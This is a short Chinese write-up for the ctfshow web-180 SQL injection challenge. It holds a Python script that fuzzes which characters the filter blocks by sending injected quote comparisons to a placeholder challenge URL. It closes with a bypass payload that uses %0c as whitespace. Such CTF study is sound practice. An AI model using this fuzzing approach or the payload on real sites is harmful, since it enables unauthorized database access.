ctfshow web-180
过滤的东西不多,可以手测测出来
这里给出一个fuzz脚本
import requests
import re
com = re.compile("admin")
def repisTrue(char):
url = f"http://自己环境的网址/api/?id=1%27and%27{char}%27=%27{char}&page=1&limit=10"
res = requests.get(url)
w = com.search(res.text)
if w is not None:
return True
return False
if __name__ == '__main__':
all = []
no = []
for i in range(1,128):
if repisTrue(chr(i)):
all.append((i,chr(i)))
else:
no.append((i,chr(i)))
print("all:",all)
print("no:",no)
这里是运行结果
看得出来,%09,%0a,%0b,%0d,空格这些都让过滤了
这里用 %0c
payload:'or'1'='1'--%0c